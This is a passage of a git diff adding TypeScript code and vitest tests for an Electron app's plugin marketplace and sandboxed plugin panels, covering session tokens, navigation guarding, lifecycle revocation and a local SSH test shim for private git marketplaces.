+        `marketplace snapshot is invalid: ${error instanceof Error ? error.message : String(error)}`
+      )
+    }
+  }
+
+  private async loadSources(): Promise<void> {
+    if (this.sources !== null) {
+      return
+    }
+    try {
+      const parsed = sourceFileSchema.parse(
+        JSON.parse(await readBoundedText(this.sourcesPath, SOURCE_FILE_MAX_BYTES))
+      )
+      const ids = new Set<string>()
+      for (const source of parsed.sources) {
+        if (source.id !== marketplaceSourceId(source.source) || ids.has(source.id)) {
+          throw new Error('marketplace source identity is inconsistent or duplicated')
+        }
+        ids.add(source.id)
+      }
+      this.sources = parsed.sources
+    } catch (error) {
+      if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+        this.sources = []
+        return
+      }
+      throw new Error(
+        `marketplace sources are invalid: ${error instanceof Error ? error.message : String(error)}`
+      )
+    }
+  }
+
+  private async mutateSources(
+    mutation: (
+      sources: readonly PluginMarketplaceRegisteredSource[]
+    ) => PluginMarketplaceRegisteredSource[]
+  ): Promise<void> {
+    const update = this.writeChain
+      .catch(() => undefined)
+      .then(async () => {
+        await this.loadSources()
+        const next = sourceFileSchema.parse({
+          schemaVersion: 1,
+          sources: mutation(this.sources!)
+        }).sources
+        await writeAtomicJson(this.sourcesPath, { schemaVersion: 1, sources: next })
+        this.sources = next
+      })
+    this.writeChain = update
+    await update
+  }
+
+  private snapshotPath(sourceId: string): string {
+    return join(this.snapshotDirectory, `${sourceId}.json`)
+  }
+}
+
+async function readBoundedText(path: string, limit: number): Promise<string> {
+  const chunks: Buffer[] = []
+  let totalBytes = 0
+  for await (const chunk of createReadStream(path)) {
+    const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+    totalBytes += bytes.byteLength
+    if (totalBytes > limit) {
+      throw new Error(`file exceeds its ${limit}-byte limit`)
+    }
+    chunks.push(bytes)
+  }
+  return Buffer.concat(chunks, totalBytes).toString('utf8')
+}
+
+async function writeAtomicJson(path: string, value: unknown): Promise<void> {
+  await mkdir(dirname(path), { recursive: true })
+  await writePluginFileAtomically(path, `${JSON.stringify(value, null, 2)}\n`)
+}
diff --git a/src/main/plugins/plugin-panel-controller.test.ts b/src/main/plugins/plugin-panel-controller.test.ts
new file mode 100644
index 000000000..1a5af816b
--- /dev/null
+++ b/src/main/plugins/plugin-panel-controller.test.ts
@@ -0,0 +1,179 @@
+import { mkdtemp, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import { createPluginPanelCallAdmission } from '../../shared/plugins/plugin-panel-call-admission'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import { PluginPanelController } from './plugin-panel-controller'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+async function createPlugin(): Promise<ValidDiscoveredPlugin> {
+  const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-panel-controller-'))
+  roots.push(rootDir)
+  await writeFile(join(rootDir, 'panel.html'), '<h1>Panel</h1>')
+  return {
+    pluginKey: 'orca-samples.demo',
+    rootDir,
+    manifest: pluginManifestSchema.parse({
+      manifestVersion: 1,
+      id: 'demo',
+      publisher: 'orca-samples',
+      name: 'Demo',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      contributes: {
+        panels: [{ id: 'dashboard', title: 'Dashboard', entry: 'panel.html' }],
+        commands: [],
+        events: []
+      },
+      capabilities: [{ kind: 'notifications:show' }]
+    }),
+    consentFingerprint: 'sha256-consented',
+    contentHash: null,
+    isDev: true
+  }
+}
+
+describe('PluginPanelController identity binding', () => {
+  it('uses the session identity and rejects caller-supplied plugin claims', async () => {
+    const plugin = await createPlugin()
+    const executeHostCall = vi.fn().mockResolvedValue({ ok: true, value: { delivered: true } })
+    const controller = new PluginPanelController({
+      resolveApprovedPlugin: (pluginKey) => (pluginKey === plugin.pluginKey ? plugin : null),
+      contentVerifier: { verify: vi.fn().mockResolvedValue(undefined) },
+      executeHostCall,
+      log: vi.fn()
+    })
+    const entry = await controller.open('runtime:one', plugin.pluginKey, 'dashboard')
+    expect(entry).not.toBeNull()
+
+    await expect(
+      controller.execute('runtime:one', {
+        sessionToken: entry!.sessionToken,
+        pluginId: 'orca-samples.other',
+        action: 'notifications.show',
+        params: { title: 'Hello' }
+      })
+    ).resolves.toMatchObject({ ok: false, code: 'invalid_request' })
+    expect(executeHostCall).not.toHaveBeenCalled()
+
+    await expect(
+      controller.execute('runtime:one', {
+        sessionToken: entry!.sessionToken,
+        action: 'notifications.show',
+        params: { title: 'Hello' }
+      })
+    ).resolves.toMatchObject({ ok: true })
+    expect(executeHostCall).toHaveBeenCalledWith(plugin.pluginKey, 'notifications.show', {
+      title: 'Hello'
+    })
+    await expect(
+      controller.execute('runtime:other', {
+        sessionToken: entry!.sessionToken,
+        action: 'notifications.show',
+        params: { title: 'Hello' }
+      })
+    ).resolves.toMatchObject({ ok: false, code: 'invalid_request' })
+  })
+
+  it('charges raw malformed and oversized calls before strict parsing', async () => {
+    const plugin = await createPlugin()
+    const executeHostCall = vi.fn()
+    const controller = new PluginPanelController({
+      resolveApprovedPlugin: () => plugin,
+      contentVerifier: { verify: vi.fn().mockResolvedValue(undefined) },
+      executeHostCall,
+      log: vi.fn(),
+      panelAdmission: createPluginPanelCallAdmission({
+        limits: { maxBytes: 128, maxMessages: 2, perMs: 10_000 },
+        now: () => 0
+      })
+    })
+    const entry = await controller.open('runtime:one', plugin.pluginKey, 'dashboard')
+
+    await expect(
+      controller.execute('runtime:one', {
+        sessionToken: entry!.sessionToken,
+        action: 'notifications.show',
+        unexpected: true
+      })
+    ).resolves.toMatchObject({ ok: false, code: 'invalid_request' })
+    await expect(
+      controller.execute('runtime:one', {
+        sessionToken: entry!.sessionToken,
+        action: 'notifications.show',
+        params: { title: 'x'.repeat(256) }
+      })
+    ).resolves.toEqual({
+      ok: false,
+      code: 'invalid_request',
+      error: 'panel message exceeds the size limit'
+    })
+    await expect(
+      controller.execute('runtime:one', {
+        sessionToken: entry!.sessionToken,
+        action: 'notifications.show',
+        params: { title: 'third' }
+      })
+    ).resolves.toEqual({
+      ok: false,
+      code: 'rate_limited',
+      error: 'too many panel requests'
+    })
+    expect(executeHostCall).not.toHaveBeenCalled()
+  })
+
+  it('does not publish stale panel code after approval changes during verification', async () => {
+    const plugin = await createPlugin()
+    let approved = true
+    let finishVerification!: () => void
+    const verification = new Promise<void>((resolve) => {
+      finishVerification = resolve
+    })
+    const controller = new PluginPanelController({
+      resolveApprovedPlugin: () => (approved ? plugin : null),
+      contentVerifier: { verify: () => verification },
+      executeHostCall: vi.fn(),
+      log: vi.fn()
+    })
+
+    const opening = controller.open('runtime:one', plugin.pluginKey, 'dashboard')
+    approved = false
+    finishVerification()
+
+    await expect(opening).resolves.toBeNull()
+  })
+
+  it('invalidates an open dev-panel session when its manifest revision changes', async () => {
+    const plugin = await createPlugin()
+    let current = plugin
+    const executeHostCall = vi.fn().mockResolvedValue({ ok: true, value: { delivered: true } })
+    const controller = new PluginPanelController({
+      resolveApprovedPlugin: () => current,
+      contentVerifier: { verify: vi.fn().mockResolvedValue(undefined) },
+      executeHostCall,
+      log: vi.fn()
+    })
+    const entry = await controller.open('runtime:one', plugin.pluginKey, 'dashboard')
+    current = {
+      ...plugin,
+      manifest: pluginManifestSchema.parse({ ...plugin.manifest, version: '1.0.1' })
+    }
+
+    await expect(
+      controller.execute('runtime:one', {
+        sessionToken: entry!.sessionToken,
+        action: 'notifications.show',
+        params: { title: 'Hello' }
+      })
+    ).resolves.toMatchObject({ ok: false, code: 'unavailable' })
+    expect(executeHostCall).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/main/plugins/plugin-panel-controller.ts b/src/main/plugins/plugin-panel-controller.ts
new file mode 100644
index 000000000..32c45831c
--- /dev/null
+++ b/src/main/plugins/plugin-panel-controller.ts
@@ -0,0 +1,170 @@
+import type {
+  PluginPanelActionOutcome,
+  PluginPanelEntry
+} from '../../shared/plugins/plugin-panel-bridge'
+import { panelActionCallSchema } from '../../shared/plugins/plugin-panel-bridge'
+import {
+  admitPluginPanelCall,
+  createPluginPanelCallAdmission,
+  type PluginPanelCallAdmission
+} from '../../shared/plugins/plugin-panel-call-admission'
+import { buildPluginPanelShellHtml } from '../../shared/plugins/plugin-panel-shell'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import type { PluginContentVerifier } from './plugin-content-integrity'
+import {
+  PLUGIN_PANEL_ENTRY_MAX_BYTES,
+  readContainedPluginArtifactText
+} from './plugin-artifact-validation'
+import { PluginPanelSessions, type PluginPanelSessionBinding } from './plugin-panel-sessions'
+
+type PluginPanelControllerOptions = {
+  resolveApprovedPlugin: (pluginKey: string) => ValidDiscoveredPlugin | null
+  contentVerifier: Pick<PluginContentVerifier, 'verify'>
+  executeHostCall: (
+    pluginKey: string,
+    method: string,
+    params: unknown
+  ) => Promise<PluginPanelActionOutcome>
+  log: (pluginKey: string, line: string) => void
+  panelAdmission?: PluginPanelCallAdmission
+}
+
+type LoadedPluginPanel = {
+  entry: { html: string }
+  binding: PluginPanelSessionBinding
+}
+
+export class PluginPanelController {
+  private readonly sessions = new PluginPanelSessions()
+  private readonly boundOwnerSignals = new WeakSet<AbortSignal>()
+  private readonly panelAdmission: PluginPanelCallAdmission
+
+  constructor(private readonly options: PluginPanelControllerOptions) {
+    this.panelAdmission = options.panelAdmission ?? createPluginPanelCallAdmission()
+  }
+
+  async readEntry(pluginKey: string, panelId: string): Promise<{ html: string } | null> {
+    return (await this.load(pluginKey, panelId))?.entry ?? null
+  }
+
+  async open(
+    ownerKey: string,
+    pluginKey: string,
+    panelId: string
+  ): Promise<PluginPanelEntry | null> {
+    const loaded = await this.load(pluginKey, panelId)
+    if (!loaded) {
+      return null
+    }
+    return {
+      ...loaded.entry,
+      sessionToken: this.sessions.issue(ownerKey, loaded.binding)
+    }
+  }
+
+  async execute(ownerKey: string, call: unknown): Promise<PluginPanelActionOutcome> {
+    const sessionToken = this.extractSessionToken(call)
+    if (!sessionToken) {
+      return { ok: false, code: 'invalid_request', error: 'invalid panel session' }
+    }
+    const binding = this.sessions.resolve(ownerKey, sessionToken)
+    if (!binding) {
+      return { ok: false, code: 'invalid_request', error: 'invalid panel session' }
+    }
+    const admissionRefusal = admitPluginPanelCall(this.panelAdmission, binding.pluginKey, call)
+    if (admissionRefusal) {
+      return admissionRefusal
+    }
+    const parsed = panelActionCallSchema.safeParse(call)
+    if (!parsed.success) {
+      return { ok: false, code: 'invalid_request', error: 'malformed panel action call' }
+    }
+    const plugin = this.options.resolveApprovedPlugin(binding.pluginKey)
+    const panelExists = plugin?.manifest.contributes.panels.some(
+      (panel) => panel.id === binding.panelId
+    )
+    if (
+      !plugin ||
+      plugin.rootDir !== binding.rootDir ||
+      JSON.stringify(plugin.manifest) !== binding.manifestRevision ||
+      !panelExists
+    ) {
+      return { ok: false, code: 'unavailable', error: 'panel session is no longer available' }
+    }
+    return this.options.executeHostCall(binding.pluginKey, parsed.data.action, parsed.data.params)
+  }
+
+  revokeOwner(ownerKey: string): void {
+    this.sessions.revokeOwner(ownerKey)
+  }
+
+  bindOwnerSignal(ownerKey: string, signal: AbortSignal | undefined): void {
+    if (!signal || this.boundOwnerSignals.has(signal)) {
+      return
+    }
+    this.boundOwnerSignals.add(signal)
+    if (signal.aborted) {
+      this.revokeOwner(ownerKey)
+      return
+    }
+    signal.addEventListener('abort', () => this.revokeOwner(ownerKey), { once: true })
+  }
+
+  revokeAll(): void {
+    this.sessions.clear()
+    this.panelAdmission.clear()
+  }
+
+  dispose(): void {
+    this.revokeAll()
+  }
+
+  private extractSessionToken(call: unknown): string | null {
+    if (typeof call !== 'object' || call === null) {
+      return null
+    }
+    try {
+      const token = (call as { sessionToken?: unknown }).sessionToken
+      return typeof token === 'string' && token.length >= 32 && token.length <= 128 ? token : null
+    } catch {
+      return null
+    }
+  }
+
+  private async load(pluginKey: string, panelId: string): Promise<LoadedPluginPanel | null> {
+    const plugin = this.options.resolveApprovedPlugin(pluginKey)
+    const panel = plugin?.manifest.contributes.panels.find((entry) => entry.id === panelId)
+    if (!plugin || !panel) {
+      return null
+    }
+    try {
+      await this.options.contentVerifier.verify(plugin)
+      const html = buildPluginPanelShellHtml(
+        await readContainedPluginArtifactText(
+          plugin.rootDir,
+          panel.entry,
+          PLUGIN_PANEL_ENTRY_MAX_BYTES
+        )
+      )
+      const current = this.options.resolveApprovedPlugin(pluginKey)
+      if (current !== plugin || current.rootDir !== plugin.rootDir) {
+        return null
+      }
+      return {
+        entry: { html },
+        binding: {
+          pluginKey,
+          panelId,
+          rootDir: plugin.rootDir,
+          manifestRevision: JSON.stringify(plugin.manifest)
+        }
+      }
+    } catch (error) {
+      this.options.log(
+        pluginKey,
+        `panel entry ${panel.entry} rejected: ${error instanceof Error ? error.message : String(error)}`
+      )
+      return null
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-panel-navigation-guard.test.ts b/src/main/plugins/plugin-panel-navigation-guard.test.ts
new file mode 100644
index 000000000..2889e57cf
--- /dev/null
+++ b/src/main/plugins/plugin-panel-navigation-guard.test.ts
@@ -0,0 +1,41 @@
+import { describe, expect, it } from 'vitest'
+import { PLUGIN_PANEL_FRAME_NAME_PREFIX } from '../../shared/plugins/plugin-panel-bridge'
+import { PluginPanelNavigationRegistry } from './plugin-panel-navigation-guard'
+
+function frame(input: { id: number; name?: string; url?: string }) {
+  let destroyed = false
+  return {
+    frameTreeNodeId: input.id,
+    name: input.name ?? '',
+    isDestroyed: () => destroyed,
+    destroy: () => {
+      destroyed = true
+    }
+  }
+}
+
+describe('PluginPanelNavigationRegistry', () => {
+  it('blocks only host-marked plugin srcdoc frames', () => {
+    const registry = new PluginPanelNavigationRegistry()
+    const plugin = frame({ id: 1, name: `${PLUGIN_PANEL_FRAME_NAME_PREFIX}demo` })
+    const notebook = frame({ id: 2 })
+    registry.register(plugin)
+    registry.register(notebook)
+
+    expect(registry.shouldBlock(plugin, null, 'about:srcdoc')).toBe(false)
+    expect(registry.shouldBlock(plugin, plugin, 'https://example.com')).toBe(true)
+    expect(registry.shouldBlock(notebook, notebook, 'https://example.com')).toBe(false)
+  })
+
+  it('keeps pre-parse identity after name mutation and prunes destroyed frames', () => {
+    const registry = new PluginPanelNavigationRegistry()
+    const plugin = frame({ id: 1, name: `${PLUGIN_PANEL_FRAME_NAME_PREFIX}demo` })
+    registry.register(plugin)
+    plugin.name = ''
+    expect(registry.shouldBlock(plugin, null, 'about:srcdoc')).toBe(false)
+    expect(registry.shouldBlock(plugin, plugin, 'https://example.com')).toBe(true)
+
+    plugin.destroy()
+    expect(registry.shouldBlock(plugin, plugin, 'https://example.com')).toBe(false)
+  })
+})
diff --git a/src/main/plugins/plugin-panel-navigation-guard.ts b/src/main/plugins/plugin-panel-navigation-guard.ts
new file mode 100644
index 000000000..d183eae98
--- /dev/null
+++ b/src/main/plugins/plugin-panel-navigation-guard.ts
@@ -0,0 +1,75 @@
+import type { WebContents, WebFrameMain } from 'electron'
+import { PLUGIN_PANEL_FRAME_NAME_PREFIX } from '../../shared/plugins/plugin-panel-bridge'
+
+type NavigationFrame = Pick<WebFrameMain, 'frameTreeNodeId' | 'isDestroyed' | 'name'>
+
+type RegisteredFrame = {
+  frame: NavigationFrame
+  initialSrcdocPending: boolean
+}
+
+/** Records host-marked panel frame identities at browsing-context creation,
+ * before plugin parsing can mutate window.name. */
+export class PluginPanelNavigationRegistry {
+  private readonly frames = new Map<number, RegisteredFrame>()
+
+  register(frame: NavigationFrame): void {
+    this.prune()
+    if (frame.name.startsWith(PLUGIN_PANEL_FRAME_NAME_PREFIX)) {
+      this.frames.set(frame.frameTreeNodeId, { frame, initialSrcdocPending: true })
+    }
+  }
+
+  shouldBlock(
+    frame: NavigationFrame | null,
+    initiator: NavigationFrame | null,
+    destinationUrl: string
+  ): boolean {
+    this.prune()
+    const registeredTarget = frame ? this.frames.get(frame.frameTreeNodeId) : undefined
+    if (registeredTarget) {
+      // Why: registration happens before the host-provided srcdoc commits;
+      // allow exactly that initial document, then contain every navigation.
+      if (registeredTarget.initialSrcdocPending && destinationUrl === 'about:srcdoc') {
+        registeredTarget.initialSrcdocPending = false
+        return false
+      }
+      return true
+    }
+    return Boolean(initiator && this.frames.has(initiator.frameTreeNodeId))
+  }
+
+  clear(): void {
+    this.frames.clear()
+  }
+
+  private prune(): void {
+    for (const [id, registered] of this.frames) {
+      if (registered.frame.isDestroyed()) {
+        this.frames.delete(id)
+      }
+    }
+  }
+}
+
+export function registerPluginPanelNavigationGuard(webContents: WebContents): void {
+  const registry = new PluginPanelNavigationRegistry()
+  webContents.on('frame-created', (_event, { frame }) => {
+    if (frame) {
+      registry.register(frame)
+    }
+  })
+  webContents.on('did-start-navigation', (event) => {
+    if (!event.isMainFrame && event.url === 'about:srcdoc' && event.frame) {
+      // Some Chromium builds populate the frame name only when navigation
+      // starts; this event still precedes document parsing and plugin code.
+      registry.register(event.frame)
+    }
+  })
+  webContents.on('will-frame-navigate', (event) => {
+    if (registry.shouldBlock(event.frame, event.initiator ?? null, event.url)) {
+      event.preventDefault()
+    }
+  })
+  webContents.on('destroyed', () => registry.clear())
+}
diff --git a/src/main/plugins/plugin-panel-owner-lifecycle.test.ts b/src/main/plugins/plugin-panel-owner-lifecycle.test.ts
new file mode 100644
index 000000000..cef035f15
--- /dev/null
+++ b/src/main/plugins/plugin-panel-owner-lifecycle.test.ts
@@ -0,0 +1,33 @@
+import { EventEmitter } from 'node:events'
+import { describe, expect, it, vi } from 'vitest'
+import {
+  bindPluginPanelOwnerLifecycle,
+  type PluginPanelOwnerSender
+} from './plugin-panel-owner-lifecycle'
+
+describe('bindPluginPanelOwnerLifecycle', () => {
+  it('deduplicates hooks, revokes on renderer loss, and invalidates in-flight loads', () => {
+    const sender = new EventEmitter() as PluginPanelOwnerSender & EventEmitter
+    const revoke = vi.fn()
+    const first = bindPluginPanelOwnerLifecycle(sender, revoke)
+    const duplicate = bindPluginPanelOwnerLifecycle(sender, revoke)
+
+    expect(sender.listenerCount('destroyed')).toBe(1)
+    expect(sender.listenerCount('render-process-gone')).toBe(1)
+    expect(first.isCurrent()).toBe(true)
+    expect(duplicate.isCurrent()).toBe(true)
+
+    sender.emit('render-process-gone')
+
+    expect(revoke).toHaveBeenCalledTimes(1)
+    expect(first.isCurrent()).toBe(false)
+    expect(duplicate.isCurrent()).toBe(false)
+    expect(sender.listenerCount('destroyed')).toBe(0)
+
+    const restarted = bindPluginPanelOwnerLifecycle(sender, revoke)
+    expect(restarted.isCurrent()).toBe(true)
+    sender.emit('destroyed')
+    expect(revoke).toHaveBeenCalledTimes(2)
+    expect(restarted.isCurrent()).toBe(false)
+  })
+})
diff --git a/src/main/plugins/plugin-panel-owner-lifecycle.ts b/src/main/plugins/plugin-panel-owner-lifecycle.ts
new file mode 100644
index 000000000..5f400c583
--- /dev/null
+++ b/src/main/plugins/plugin-panel-owner-lifecycle.ts
@@ -0,0 +1,42 @@
+import type { WebContents } from 'electron'
+
+export type PluginPanelOwnerSender = Pick<WebContents, 'once' | 'removeListener'>
+
+type OwnerState = {
+  bound: boolean
+  generation: number
+}
+
+const ownerStates = new WeakMap<PluginPanelOwnerSender, OwnerState>()
+
+/** Deduplicates WebContents lifecycle hooks and returns a generation lease so
+ *  an async panel load cannot publish a session after its renderer died. */
+export function bindPluginPanelOwnerLifecycle(
+  sender: PluginPanelOwnerSender,
+  revoke: () => void
+): { isCurrent: () => boolean } {
+  let state = ownerStates.get(sender)
+  if (!state) {
+    state = { bound: false, generation: 0 }
+    ownerStates.set(sender, state)
+  }
+  if (!state.bound) {
+    state.bound = true
+    let finished = false
+    const cleanup = (): void => {
+      if (finished) {
+        return
+      }
+      finished = true
+      sender.removeListener('destroyed', cleanup)
+      sender.removeListener('render-process-gone', cleanup)
+      state!.bound = false
+      state!.generation += 1
+      revoke()
+    }
+    sender.once('destroyed', cleanup)
+    sender.once('render-process-gone', cleanup)
+  }
+  const generation = state.generation
+  return { isCurrent: () => state!.bound && state!.generation === generation }
+}
diff --git a/src/main/plugins/plugin-panel-sessions.test.ts b/src/main/plugins/plugin-panel-sessions.test.ts
new file mode 100644
index 000000000..df38e34c1
--- /dev/null
+++ b/src/main/plugins/plugin-panel-sessions.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it } from 'vitest'
+import { PluginPanelSessions } from './plugin-panel-sessions'
+
+const binding = {
+  pluginKey: 'orca-samples.demo',
+  panelId: 'dashboard',
+  rootDir: '/plugins/orca-samples.demo/hash-one',
+  manifestRevision: 'manifest-v1'
+}
+
+describe('PluginPanelSessions', () => {
+  it('binds an opaque token to its transport owner and panel revision', () => {
+    const sessions = new PluginPanelSessions()
+    const token = sessions.issue('renderer:1', binding)
+
+    expect(token).toHaveLength(43)
+    expect(sessions.resolve('renderer:1', token)).toEqual(binding)
+    expect(sessions.resolve('renderer:2', token)).toBeNull()
+    expect(sessions.issue('renderer:1', binding)).toBe(token)
+    expect(sessions.issue('renderer:1', { ...binding, rootDir: '/plugins/new' })).not.toBe(token)
+    expect(sessions.issue('renderer:1', { ...binding, manifestRevision: 'manifest-v2' })).not.toBe(
+      token
+    )
+  })
+
+  it('revokes every session owned by a disconnected transport', () => {
+    const sessions = new PluginPanelSessions()
+    const first = sessions.issue('connection:one', binding)
+    const second = sessions.issue('connection:one', { ...binding, panelId: 'secondary' })
+    const other = sessions.issue('connection:two', binding)
+
+    sessions.revokeOwner('connection:one')
+
+    expect(sessions.resolve('connection:one', first)).toBeNull()
+    expect(sessions.resolve('connection:one', second)).toBeNull()
+    expect(sessions.resolve('connection:two', other)).toEqual(binding)
+  })
+})
diff --git a/src/main/plugins/plugin-panel-sessions.ts b/src/main/plugins/plugin-panel-sessions.ts
new file mode 100644
index 000000000..0f1fcf4f5
--- /dev/null
+++ b/src/main/plugins/plugin-panel-sessions.ts
@@ -0,0 +1,84 @@
+import { randomBytes } from 'node:crypto'
+
+export type PluginPanelSessionBinding = {
+  pluginKey: string
+  panelId: string
+  rootDir: string
+  manifestRevision: string
+}
+
+type PluginPanelSession = PluginPanelSessionBinding & {
+  ownerKey: string
+}
+
+const MAX_PANEL_SESSIONS = 1_024
+
+function bindingKey(ownerKey: string, binding: PluginPanelSessionBinding): string {
+  return JSON.stringify([
+    ownerKey,
+    binding.pluginKey,
+    binding.panelId,
+    binding.rootDir,
+    binding.manifestRevision
+  ])
+}
+
+/** Opaque bearer sessions bind a loaded panel to its transport owner without
+ *  accepting a plugin identity on later action calls. */
+export class PluginPanelSessions {
+  private readonly sessions = new Map<string, PluginPanelSession>()
+  private readonly tokensByBinding = new Map<string, string>()
+
+  issue(ownerKey: string, binding: PluginPanelSessionBinding): string {
+    const key = bindingKey(ownerKey, binding)
+    const existing = this.tokensByBinding.get(key)
+    if (existing) {
+      return existing
+    }
+    while (this.sessions.size >= MAX_PANEL_SESSIONS) {
+      const oldest = this.sessions.entries().next().value as
+        | [string, PluginPanelSession]
+        | undefined
+      if (!oldest) {
+        break
+      }
+      this.delete(oldest[0], oldest[1])
+    }
+    const token = randomBytes(32).toString('base64url')
+    const session = { ownerKey, ...binding }
+    this.sessions.set(token, session)
+    this.tokensByBinding.set(key, token)
+    return token
+  }
+
+  resolve(ownerKey: string, token: string): PluginPanelSessionBinding | null {
+    const session = this.sessions.get(token)
+    if (!session || session.ownerKey !== ownerKey) {
+      return null
+    }
+    return {
+      pluginKey: session.pluginKey,
+      panelId: session.panelId,
+      rootDir: session.rootDir,
+      manifestRevision: session.manifestRevision
+    }
+  }
+
+  revokeOwner(ownerKey: string): void {
+    for (const [token, session] of this.sessions) {
+      if (session.ownerKey === ownerKey) {
+        this.delete(token, session)
+      }
+    }
+  }
+
+  clear(): void {
+    this.sessions.clear()
+    this.tokensByBinding.clear()
+  }
+
+  private delete(token: string, session: PluginPanelSession): void {
+    this.sessions.delete(token)
+    this.tokensByBinding.delete(bindingKey(session.ownerKey, session))
+  }
+}
diff --git a/src/main/plugins/plugin-private-marketplace-ssh-shim.cjs b/src/main/plugins/plugin-private-marketplace-ssh-shim.cjs
new file mode 100644
index 000000000..c88809a37
--- /dev/null
+++ b/src/main/plugins/plugin-private-marketplace-ssh-shim.cjs
@@ -0,0 +1,12 @@
+const { spawnSync } = require('node:child_process')
+
+const command = process.argv.at(-1) ?? ''
+const match = /^git-upload-pack '([^']+)'$/.exec(command)
+const repositories = JSON.parse(process.env.ORCA_TEST_SSH_REPOSITORIES ?? '{}')
+const repository = match ? repositories[match[1]] : undefined
+if (!repository) {
+  process.stderr.write(`unknown test SSH repository: ${command}\n`)
+  process.exit(1)
+}
+const result = spawnSync('git', ['upload-pack', repository], { stdio: 'inherit' })
+process.exit(result.status ?? 1)
diff --git a/src/main/plugins/plugin-private-marketplace.integration.test.ts b/src/main/plugins/plugin-private-marketplace.integration.test.ts
new file mode 100644
index 000000000..7c3702548
--- /dev/null
+++ b/src/main/plugins/plugin-private-marketplace.integration.test.ts
@@ -0,0 +1,153 @@
+import { execFile } from 'node:child_process'
+import { mkdtemp, mkdir, readFile, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { promisify } from 'node:util'
+import { afterEach, describe, expect, it } from 'vitest'
+import type { PluginMarketplaceGitSource } from '../../shared/plugins/plugin-marketplace'
+import { getUserPluginsDir } from './plugin-discovery'
+import { readPluginLockfile } from './plugin-install'
+import { PluginMarketplaceInstaller } from './plugin-marketplace-installer'
+import { PluginMarketplaceService } from './plugin-marketplace-service'
+
+const execFileAsync = promisify(execFile)
+const temporaryRoots: string[] = []
+const savedEnvironment = {
+  GIT_SSH_COMMAND: process.env.GIT_SSH_COMMAND,
+  GIT_SSH_VARIANT: process.env.GIT_SSH_VARIANT,
+  ORCA_TEST_SSH_REPOSITORIES: process.env.ORCA_TEST_SSH_REPOSITORIES
+}
+
+async function runGit(cwd: string, args: string[]): Promise<void> {
+  await execFileAsync('git', args, { cwd })
+}
+
+async function createGitRepository(
+  root: string,
+  name: string,
+  files: Record<string, string>
+): Promise<string> {
+  const repository = join(root, name)
+  await mkdir(repository, { recursive: true })
+  for (const [relativePath, contents] of Object.entries(files)) {
+    const path = join(repository, relativePath)
+    await mkdir(join(path, '..'), { recursive: true })
+    await writeFile(path, contents, 'utf8')
+  }
+  await runGit(repository, ['init', '--quiet'])
+  await runGit(repository, ['checkout', '--quiet', '-b', 'main'])
+  await runGit(repository, ['add', '--all'])
+  await runGit(repository, [
+    '-c',
+    'user.name=Orca Test',
+    '-c',
+    'user.email=orca-test@example.invalid',
+    'commit',
+    '--quiet',
+    '-m',
+    'fixture'
+  ])
+  return repository
+}
+
+function shellQuote(value: string): string {
+  return `'${value.replaceAll("'", "'\\''")}'`
+}
+
+afterEach(async () => {
+  for (const [key, value] of Object.entries(savedEnvironment)) {
+    if (value === undefined) {
+      delete process.env[key]
+    } else {
+      process.env[key] = value
+    }
+  }
+  await Promise.all(
+    temporaryRoots.splice(0).map((root) => rm(root, { recursive: true, force: true }))
+  )
+})
+
+describe('private Git marketplace integration', () => {
+  it('uses the caller SSH environment for marketplace preview and install', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'orca-private-marketplace-'))
+    temporaryRoots.push(root)
+    const pluginKey = 'private.private-locale'
+    const pluginUrl = 'ssh://git@example.invalid/private/locale.git'
+    const marketplaceUrl = 'ssh://git@example.invalid/private/marketplace.git'
+    const pluginRepository = await createGitRepository(root, 'locale-source', {
+      'orca-plugin.json': JSON.stringify({
+        manifestVersion: 1,
+        id: 'private-locale',
+        publisher: 'private',
+        name: 'Private Locale',
+        version: '1.0.0',
+        engines: { orca: '>=1.4.0' },
+        pluginApi: 1,
+        contributes: {
+          languagePacks: [{ locale: 'pt-BR', path: 'locale.json' }]
+        },
+        capabilities: []
+      }),
+      'locale.json': JSON.stringify({
+        settings: { title: 'Ajustes' }
+      })
+    })
+    const marketplaceRepository = await createGitRepository(root, 'marketplace-source', {
+      'orca-marketplace.json': JSON.stringify({
+        name: 'Private Team Plugins',
+        owner: 'private-team',
+        plugins: [
+          {
+            id: pluginKey,
+            source: { kind: 'git', url: pluginUrl, ref: 'main' },
+            categories: ['languages']
+          }
+        ]
+      })
+    })
+    const sshShim = join(root, 'git-ssh-shim.cjs')
+    await writeFile(
+      sshShim,
+      await readFile(join(import.meta.dirname, 'plugin-private-marketplace-ssh-shim.cjs'), 'utf8'),
+      'utf8'
+    )
+    process.env.GIT_SSH_COMMAND = `${shellQuote(process.execPath.replaceAll('\\', '/'))} ${shellQuote(sshShim.replaceAll('\\', '/'))}`
+    process.env.GIT_SSH_VARIANT = 'ssh'
+    process.env.ORCA_TEST_SSH_REPOSITORIES = JSON.stringify({
+      '/private/locale.git': pluginRepository,
+      '/private/marketplace.git': marketplaceRepository
+    })
+
+    const userDataPath = join(root, 'user-data')
+    const marketplace = new PluginMarketplaceService({
+      pluginsDataDir: join(userDataPath, 'plugins-data')
+    })
+    const source: PluginMarketplaceGitSource = {
+      kind: 'git',
+      url: marketplaceUrl,
+      ref: 'main'
+    }
+    const registered = await marketplace.addSource(source)
+    const installer = new PluginMarketplaceInstaller({
+      marketplace,
+      userDataPath,
+      hostVersion: '1.4.0'
+    })
+
+    const preview = await installer.preview(registered.id, pluginKey)
+    const installed = await installer.install(preview)
+
+    expect(registered).toMatchObject({
+      stale: false,
+      marketplace: { name: 'Private Team Plugins' }
+    })
+    expect(preview).toMatchObject({ pluginKey, official: false, source: { url: pluginUrl } })
